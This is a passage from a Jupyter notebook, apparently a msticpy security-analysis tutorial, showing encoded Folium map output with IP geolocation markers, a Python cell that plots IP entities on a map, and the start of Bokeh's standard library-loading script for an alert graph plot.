0%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_403860ea9f1b46b8be9845bc80f4a8b0%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B51.6406517%2C%206.572050095%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_19213f0e52b44f8f92e5f14d0bc0df47%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_403860ea9f1b46b8be9845bc80f4a8b0.setIcon%28icon_19213f0e52b44f8f92e5f14d0bc0df47%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_5a3de15a0f7c42a99358f2c372d9676a%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_aec0458143a34749b1b7cb836bd51fc3%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_aec0458143a34749b1b7cb836bd51fc3%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D6.572050095%2C%20Latitude%3D51.6406517%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.764285%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%20109.88.218.99%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_5a3de15a0f7c42a99358f2c372d9676a.setContent%28html_aec0458143a34749b1b7cb836bd51fc3%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_403860ea9f1b46b8be9845bc80f4a8b0.bindPopup%28popup_5a3de15a0f7c42a99358f2c372d9676a%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_403860ea9f1b46b8be9845bc80f4a8b0.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2051.6406517%2C%206.572050095%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_7a16b0d25eb84ba5acbae6dce5a05180%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B51.6406517%2C%206.572050095%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_1fc33e27762d4954b8ab1baf32d980d0%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_7a16b0d25eb84ba5acbae6dce5a05180.setIcon%28icon_1fc33e27762d4954b8ab1baf32d980d0%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_e1c8755fa9ec4814a4e0cdcbd42880b8%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_22950e59ce714ef4aecb40444a9130cc%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_22950e59ce714ef4aecb40444a9130cc%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D6.572050095%2C%20Latitude%3D51.6406517%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.764285%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%20109.88.218.99%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_e1c8755fa9ec4814a4e0cdcbd42880b8.setContent%28html_22950e59ce714ef4aecb40444a9130cc%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_7a16b0d25eb84ba5acbae6dce5a05180.bindPopup%28popup_e1c8755fa9ec4814a4e0cdcbd42880b8%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_7a16b0d25eb84ba5acbae6dce5a05180.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2051.6406517%2C%206.572050095%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_a556a2097da2462bb920fc85ba741ad7%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B51.6406517%2C%206.572050095%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_c8f4ea0d7b7e4eb7a6ecbbba8c963bc3%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_a556a2097da2462bb920fc85ba741ad7.setIcon%28icon_c8f4ea0d7b7e4eb7a6ecbbba8c963bc3%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_e335ffa197b240ac9c4841c73ada6731%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_20d3211c45274671a7d08d7e3ae0e9ef%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_20d3211c45274671a7d08d7e3ae0e9ef%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D6.572050095%2C%20Latitude%3D51.6406517%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.764285%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%20109.88.218.99%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_e335ffa197b240ac9c4841c73ada6731.setContent%28html_20d3211c45274671a7d08d7e3ae0e9ef%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_a556a2097da2462bb920fc85ba741ad7.bindPopup%28popup_e335ffa197b240ac9c4841c73ada6731%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_a556a2097da2462bb920fc85ba741ad7.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2051.6406517%2C%206.572050095%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_5aa8252544a4401b81d96dd898d09b95%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B51.6406517%2C%206.572050095%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_b106d1f76dd54377945283f8126809f8%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_5aa8252544a4401b81d96dd898d09b95.setIcon%28icon_b106d1f76dd54377945283f8126809f8%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_139591379ff54755a50555386e04640f%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_6c05c6bad73a4f38a4800859c6a4eb90%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_6c05c6bad73a4f38a4800859c6a4eb90%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D6.572050095%2C%20Latitude%3D51.6406517%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.764285%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%20109.88.218.99%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_139591379ff54755a50555386e04640f.setContent%28html_6c05c6bad73a4f38a4800859c6a4eb90%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_5aa8252544a4401b81d96dd898d09b95.bindPopup%28popup_139591379ff54755a50555386e04640f%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_5aa8252544a4401b81d96dd898d09b95.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2051.6406517%2C%206.572050095%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_33bf9061885c42d9abb61d5561d96094%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B51.6406517%2C%206.572050095%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_2ac5b78e86a54119864ff0e9638f0cb0%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_33bf9061885c42d9abb61d5561d96094.setIcon%28icon_2ac5b78e86a54119864ff0e9638f0cb0%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_19242295a5d1475ca42ea178a71ac039%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_85d57af620934d1391c6b10ee49c14b8%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_85d57af620934d1391c6b10ee49c14b8%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D6.572050095%2C%20Latitude%3D51.6406517%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.764285%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%20109.88.218.99%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_19242295a5d1475ca42ea178a71ac039.setContent%28html_85d57af620934d1391c6b10ee49c14b8%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_33bf9061885c42d9abb61d5561d96094.bindPopup%28popup_19242295a5d1475ca42ea178a71ac039%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_33bf9061885c42d9abb61d5561d96094.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2051.6406517%2C%206.572050095%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_68ea7d3acd39418881633b2e138c1a7e%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B51.6406517%2C%206.572050095%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_bd6a4b8a385f4441a494fa02c499d6e2%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_68ea7d3acd39418881633b2e138c1a7e.setIcon%28icon_bd6a4b8a385f4441a494fa02c499d6e2%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_048b7f08c37544efa9edc9e1bac2f8a0%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_9a57b00f5c0c45979f26b26c0ad8d370%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_9a57b00f5c0c45979f26b26c0ad8d370%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D6.572050095%2C%20Latitude%3D51.6406517%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.764285%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%20109.88.218.99%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_048b7f08c37544efa9edc9e1bac2f8a0.setContent%28html_9a57b00f5c0c45979f26b26c0ad8d370%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_68ea7d3acd39418881633b2e138c1a7e.bindPopup%28popup_048b7f08c37544efa9edc9e1bac2f8a0%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_68ea7d3acd39418881633b2e138c1a7e.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2051.6406517%2C%206.572050095%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%3C/script%3E onload=\"this.contentDocument.open();this.contentDocument.write(    decodeURIComponent(this.getAttribute('data-html')));this.contentDocument.close();\" allowfullscreen webkitallowfullscreen mozallowfullscreen></iframe></div></div>"
      ],
      "text/plain": [
       "<msticpy.nbtools.foliummap.FoliumMap at 0x14a2fa528b0>"
      ]
     },
     "execution_count": 23,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "ip_ents = []\n",
    "\n",
    "\n",
    "def format_ips(row):\n",
    "    ip_ent = entities.ip_address.Ip(Address=row[\"IPAddress\"])\n",
    "    loc = entities.GeoLocation(\n",
    "        Longitude=float(row[\"Longitude\"]), Latitude=float(row[\"Latitude\"])\n",
    "    )\n",
    "    ip_ent.Location = loc\n",
    "    ip_ents.append(ip_ent)\n",
    "\n",
    "\n",
    "# Format dataset into entities\n",
    "loc_data.apply(format_ips, axis=1)\n",
    "# Create Map plot\n",
    "folium_map = FoliumMap(zoom_start=2)\n",
    "# Add IP entities to the map\n",
    "folium_map.add_ip_cluster(ip_entities=ip_ents, color=\"blue\")\n",
    "# Center the map around the plotted entities\n",
    "folium_map.center_map()\n",
    "# Display the map\n",
    "folium_map"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": []
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Another useful visualization is a graph plot that shows connections between events. This is particularily useful when looking at data item such as alerts that contain a lot of embedded data such as affected hosts and users. By graph plotting alert data we can see the connections between them that might help a security analyst get a better understanding of an intrusion.\n",
    "\n",
    "Using [`EntityGraph`](https://msticpy.readthedocs.io/en/latest/visualization/EntityGraph.html?highlight=entity%20graph) we can create a [NetworkX](https://networkx.org/) representation of our alerts and their entities. We then call [`.plot`] to display the graph using [Bokeh](https://bokeh.org/)."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1002\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"1002\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      